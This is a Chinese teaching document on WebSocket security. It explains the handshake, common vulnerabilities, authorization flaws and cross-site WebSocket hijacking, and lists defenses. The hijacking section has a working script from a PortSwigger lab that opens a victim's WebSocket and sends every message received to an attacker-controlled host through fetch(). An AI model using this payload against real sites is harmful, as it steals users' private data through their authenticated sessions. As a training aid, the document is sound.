WebSocket安全性分析
字数 1538 2025-08-10 20:35:54
WebSocket安全性分析教学文档
1. WebSocket简介
WebSocket是HTML5的一种新的网络传输协议,位于OSI模型的应用层,可在单个TCP连接上进行全双工通信。WebSocket基于TCP协议之上,与HTTP协议有良好的兼容性。
- 协议标识符:ws(未加密)或wss(加密)
- 主要特点:全双工通信,低延迟
- 与HTTP的区别:
- HTTP是请求-响应式,WebSocket是双向通信
- HTTP1.1开始支持TCP连接复用,WebSocket本身就是长连接
2. WebSocket通信建立过程
2.1 客户端创建连接
var ws = new WebSocket("wss://normal-website.com/chat");
2.2 握手过程
WebSocket通过HTTP协议发起握手请求,服务器同意后完成三次握手建立连接。
请求头关键字段:
Connection: UpgradeUpgrade: websocketSec-WebSocket-Version: 通常为13Sec-WebSocket-Key: Base64编码的随机值(非认证用途)
响应头关键字段:
Sec-WebSocket-Accept: 包含对Sec-WebSocket-Key的哈希值,用于防止错误配置或缓存代理误导
2.3 通信过程
建立连接后,客户端和服务端可以双向发送消息:
ws.send("hello websocket");
消息内容可以是任何格式,现代应用通常使用JSON发送结构化数据。
3. WebSocket使用场景
基于全双工、低延迟特性,适用于:
- 实时聊天应用
- 弹幕系统
- 协同编辑工具
- 股票报价实时更新
- 位置更新服务
- 直播实况
4. WebSocket安全性分析
WebSocket本身是一种通信协议,不解决Web应用安全问题,HTTP协议中的安全问题在WebSocket中同样存在。
4.1 常规漏洞
用户输入可控的请求数据如果没有进行充分校验,可能导致:
- XSS(跨站脚本攻击)
- SQL注入
- RCE(远程代码执行)
利用方式:通过抓包重放,修改请求值
4.2 权限认证问题
WebSocket协议未规定身份认证机制,服务器可采用:
- Cookie认证
- HTTP基础认证
- TLS身份认证
安全问题:
- 认证实现问题与HTTP相同
- 示例漏洞:CVE-2015-0201(Spring框架SockJS客户端生成可预测会话ID)
4.3 授权问题
WebSocket协议未指定授权方式,依赖开发者实现,存在:
- 垂直越权
- 水平越权
4.4 跨站WebSocket劫持(CSWSH)
全称:Cross-site WebSocket Hijacking
漏洞条件:
- WebSocket握手仅依赖HTTP cookie
- 不包含CSRF token或其他不可预测值
判断方法:
检查握手请求是否仅依赖session token进行会话处理
利用示例(PortSwigger靶场):
- 确认仅依赖cookie进行会话处理
- 构造恶意页面建立WebSocket连接
- 发送特定指令(如'READY')获取敏感数据
- 将数据外传到攻击者服务器
利用代码示例:
<script>
var ws = new WebSocket("wss://web-security-academy.net/chat");
ws.addEventListener('open', function(event) {
ws.send('READY');
});
ws.onmessage = function(event) {
fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'});
};
</script>
5. WebSocket安全防护措施
-
输入输出验证:
- 严格验证所有输入数据
- 对输出进行适当编码
-
握手过程保护:
- 使用CSRF Token
- 添加请求头令牌
-
加密通信:
- 使用wss://协议(基于TLS)
-
授权控制:
- 在服务器端实施严格的授权检查
- 防止垂直和水平越权
-
Origin验证:
- 验证客户端发来的Origin头
- 注意:Origin头可以被伪造,不能作为唯一防护措施
6. 参考资源
- FreeBuf WebSocket安全分析文章
- FreeBuf WebSocket漏洞文章
- PortSwigger Web Security Academy实验室